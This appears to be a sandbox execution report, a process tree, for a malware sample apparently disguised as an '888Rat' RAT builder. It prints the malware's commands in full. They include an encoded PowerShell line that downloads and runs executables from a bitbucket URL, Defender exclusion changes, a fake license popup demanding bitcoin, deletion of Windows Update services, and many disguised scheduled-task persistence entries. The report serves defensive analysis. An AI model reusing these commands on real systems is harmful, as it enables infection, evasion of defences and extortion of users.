"PAAjAHgAbABkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AZAB5ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATABpAGMAZQBuAHMAZQAgAGkAcwAgAG4AZQBlAGQAZQBkACEAIABZAG8AdQAgAG4AZQBlAGQAIAB0AG8AIABwAGEAeQAgACQAMQAwACAAZgBvAHIAIABhACAAbABpAGYAZQB0AGkAbQBlACAAbABpAGMAZQBuAHMAZQAgAHQAbwAgAEIAVABDACAAYQBkAGQAcgBlAHMAcwA6ACAAYgBjADEAcQBtADUAOQBjAGUAOQBtAG4AbgBkADQAZgA5AHcAcQBqAHEAZQAwAGwAagBuADMAbgB3AHQAMABhAGYAdwBhAHIAaAA0ADUAMwB5ADcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHYAbAB2ACMAPgA7ACIAOwA8ACMAagBnAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB3AHEAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBpAHAAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB6AGMAegAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8AZQBhAHMAeQAxAC8AdwBoAHkAdABoAGUAZgB1AGMAawBhAHIAZQB1AHQAcgB5AGkAbgBnAHQAbwB0AHIAYQBjAGsAdABoAGkAcwBoAHQAdABwAGQAZQBiAHUAZwBnAGUAcgBsAG8AbAAvAHIAYQB3AC8ANgA3AGMANQA5AGMANwAwAGQAZgBiADgAMAAwAGYAYQAyAGIAZgAyADEAYgAzADIAMQA3AGUAMgA0ADgANQAyADIAMQBjADIAMAA0ADIAOAAvAGYAdQBuAGQALgBlAHgAZQAnACwAIAA8ACMAawBoAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AGgAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBzAGQAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDAG8AbQBtAEgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAdQByAGQAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8AZQBhAHMAeQAxAC8AdwBoAHkAdABoAGUAZgB1AGMAawBhAHIAZQB1AHQAcgB5AGkAbgBnAHQAbwB0AHIAYQBjAGsAdABoAGkAcwBoAHQAdABwAGQAZQBiAHUAZwBnAGUAcgBsAG8AbAAvAHIAYQB3AC8ANgA3AGMANQA5AGMANwAwAGQAZgBiADgAMAAwAGYAYQAyAGIAZgAyADEAYgAzADIAMQA3AGUAMgA0ADgANQAyADIAMQBjADIAMAA0ADIAOAAvAGwAdQBjAGkAbQAuAGUAeABlACcALAAgADwAIwB2AHkAdgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGgAeQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHAAZABzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0AUwB1AHIAcgBvAGcAYQB0AGUALgBlAHgAZQAnACkAKQA8ACMAbQBsAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQBwAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0ASABvAHMAdAAuAGUAeABlACcAKQA8ACMAagB5AGsAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaABzAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcgBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0AUwB1AHIAcgBvAGcAYQB0AGUALgBlAHgAZQAnACkAPAAjAHcAdwBpACMAPgA="2⤵
- Blocklisted process makes network request
PID:6020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#mdy#>[System.Windows.Forms.MessageBox]::Show('License is needed! You need to pay for a lifetime license to BTC address: bc1qm59ce9mnnd4f9wqjqe0ljn3nwt0afwarh453y7','','OK','Error')<#vlv#>;3⤵PID:1304
-
-
C:\Users\Admin\AppData\Local\Temp\CommHost.exe"C:\Users\Admin\AppData\Local\Temp\CommHost.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
PID:2136 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\DriverHostCrtNet\jO3lbUgUCuGG0nAZHcS.vbe"4⤵
- Checks computer location settings
PID:5260 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\DriverHostCrtNet\ELvGRxvU.bat" "5⤵PID:4768
-
C:\DriverHostCrtNet\comSvc.exe"C:\DriverHostCrtNet\comSvc.exe"6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
PID:4420 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4420 -s 15687⤵
- Program crash
PID:6092
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\CommSurrogate.exe"C:\Users\Admin\AppData\Local\Temp\CommSurrogate.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:2372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵PID:5464
-
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵PID:5100
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
PID:4412
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:4112
-
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
PID:4692
-
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
PID:5720
-
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
PID:4068
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵PID:636
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵PID:556
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
- Modifies security service
PID:1188
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵PID:5552
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵PID:4592
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵PID:4036
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵PID:2788
-
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵PID:3496
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵PID:2560
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵PID:5124
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#eezvcrxki#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskEditor' /tr '''C:\Program Files\Google\Chrome\updaterload.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaterload.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskEditor' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskEditor" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updaterload.exe' }4⤵PID:6008
-
-
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3052 -
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\888Rat\oxsu.bin2⤵
- Opens file in notepad (likely ransom note)
PID:5232
-
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5216 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:788
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 2362⤵
- Program crash
PID:5708
-
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5444 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:4452
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 2322⤵
- Program crash
PID:5012
-
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2112 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵PID:1228
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 1482⤵
- Program crash
PID:5320
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5216 -ip 52161⤵PID:5628
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5444 -ip 54441⤵PID:5664
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2112 -ip 21121⤵PID:3544
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4648
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\DriverHostCrtNet\services.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2504
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\DriverHostCrtNet\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2816
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\DriverHostCrtNet\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5672
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvcc" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5628
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvc" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3808
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvcc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4492
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 7 /tr "'C:\Windows\Containers\serviced\videos.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4460
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videos" /sc ONLOGON /tr "'C:\Windows\Containers\serviced\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4688
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 9 /tr "'C:\Windows\Containers\serviced\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2920
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 13 /tr "'C:\odt\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4668
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\odt\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:112
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\odt\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5684
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\csrss.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3764
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3492
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6044
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5676
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5216
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5608
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 11 /tr "'C:\DriverHostCrtNet\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4916
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\DriverHostCrtNet\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4996
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 9 /tr "'C:\DriverHostCrtNet\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1848
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5012
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5444
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5716
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5320
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2112
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5476
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1468
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5028
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5468
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4648
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2228
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4868
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 7 /tr "'C:\DriverHostCrtNet\videos.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5372
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videos" /sc ONLOGON /tr "'C:\DriverHostCrtNet\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4556
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 11 /tr "'C:\DriverHostCrtNet\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4124
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:924
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5816
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 11 /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5132
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 184 -p 4420 -ip 44201⤵PID:5108
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f4 0x41c1⤵PID:3204
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.bing.com/search?q=videos.exe nwjs"1⤵
- Adds Run key to start application
- Enumerates system info in registry
PID:972 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ffbaf7d46f8,0x7ffbaf7d4708,0x7ffbaf7d47182⤵PID:3444
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:22⤵PID:5044
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2488 /prefetch:32⤵PID:4416
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:82⤵PID:4968
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3816 /prefetch:12⤵PID:2572
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:12⤵PID:5280
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5364 /prefetch:82⤵PID:5784
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:12⤵PID:3832
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3316 /prefetch:82⤵PID:2828
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:12⤵PID:5076
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5500 /prefetch:82⤵PID:5512
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:82⤵PID:4128
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings2⤵
- Drops file in Program Files directory
PID:364 -
